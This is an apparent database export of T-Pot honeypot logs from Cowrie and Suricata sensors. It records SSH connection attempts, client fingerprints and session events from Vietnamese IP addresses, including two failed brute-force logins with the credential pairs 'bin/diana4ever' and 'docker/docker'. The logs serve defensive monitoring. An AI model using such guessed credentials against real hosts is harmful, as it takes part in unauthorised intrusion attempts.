21541	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.740752+03	2021-09-20 14:15:03.794612+03	{"_id": "7AbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f86d8dbebc6a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:53.740752Z", "@timestamp": "2021-09-20T11:06:53.740Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21542	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.793474+03	2021-09-20 14:15:03.796612+03	{"_id": "7QbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [bin/diana4ever] failed", "session": "554c9cd49e1b", "@version": "1", "password": "diana4ever", "username": "bin", "timestamp": "2021-09-20T11:06:53.793474Z", "@timestamp": "2021-09-20T11:06:53.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21543	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.807922+03	2021-09-20 14:15:03.797612+03	{"_id": "7gbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [docker/docker] failed", "session": "a9a997c4a94a", "@version": "1", "password": "docker", "username": "docker", "timestamp": "2021-09-20T11:06:53.807922Z", "@timestamp": "2021-09-20T11:06:53.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21544	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.864253+03	2021-09-20 14:15:03.798613+03	{"_id": "7wbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5dc9ab4fe927", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:53.864253Z", "@timestamp": "2021-09-20T11:06:53.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21545	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.938535+03	2021-09-20 14:15:03.800613+03	{"_id": "8AbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1e23fa26a58c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:53.938535Z", "@timestamp": "2021-09-20T11:06:53.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21546	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.951718+03	2021-09-20 14:15:03.801613+03	{"_id": "8QbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8c86d8ce77a3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:53.951718Z", "@timestamp": "2021-09-20T11:06:53.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21547	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.963107+03	2021-09-20 14:15:03.802613+03	{"_id": "8gbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "527431374750", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:53.963107Z", "@timestamp": "2021-09-20T11:06:53.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21548	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.022038+03	2021-09-20 14:15:03.803614+03	{"_id": "8wbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "aa6caafc3c9b", "@version": "1", "duration": 2.730217456817627, "timestamp": "2021-09-20T11:06:54.022038Z", "@timestamp": "2021-09-20T11:06:54.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21549	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.141763+03	2021-09-20 14:15:03.804613+03	{"_id": "9AbjAnwBvYTbRNuEKgMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5dc9ab4fe927", "@version": "1", "timestamp": "2021-09-20T11:06:54.141763Z", "@timestamp": "2021-09-20T11:06:54.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21550	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:54.228349+03	2021-09-20 14:15:03.806613+03	{"_id": "9QbjAnwBvYTbRNuELAOo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1952536882659268, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44406, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.228349Z", "@timestamp": "2021-09-20T11:06:54.228Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21551	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:54.59573+03	2021-09-20 14:15:03.807613+03	{"_id": "9gbjAnwBvYTbRNuELAOo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1012035681692795, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35516, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.595730Z", "@timestamp": "2021-09-20T11:06:54.595Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21552	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:54.600235+03	2021-09-20 14:15:03.808613+03	{"_id": "9wbjAnwBvYTbRNuELAOo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 31305669465397, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35770, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.600235Z", "@timestamp": "2021-09-20T11:06:54.600Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21553	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:54.626425+03	2021-09-20 14:15:03.809614+03	{"_id": "-AbjAnwBvYTbRNuELAOo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2210539863209538, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53978, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.626425Z", "@timestamp": "2021-09-20T11:06:54.626Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21554	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:54.020706+03	2021-09-20 14:15:03.810613+03	{"_id": "-gbjAnwBvYTbRNuELAOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 375691179586606, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49558, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.020706Z", "@timestamp": "2021-09-20T11:06:54.020Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21555	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.319313+03	2021-09-20 14:15:03.812612+03	{"_id": "EAbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35516 (192.168.176.2:22) [session: 2523bada16f3]", "session": "2523bada16f3", "@version": "1", "protocol": "ssh", "src_port": 35516, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.319313Z", "@timestamp": "2021-09-20T11:06:54.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21556	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.343787+03	2021-09-20 14:15:03.813613+03	{"_id": "EgbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53978 (192.168.176.2:22) [session: c34f38c05d42]", "session": "c34f38c05d42", "@version": "1", "protocol": "ssh", "src_port": 53978, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.343787Z", "@timestamp": "2021-09-20T11:06:54.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21557	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:54.584957+03	2021-09-20 14:15:03.814613+03	{"_id": "DQbjAnwBvYTbRNuELgQO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8c86d8ce77a3", "@version": "1", "timestamp": "2021-09-20T11:06:54.584957Z", "@timestamp": "2021-09-20T11:06:54.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
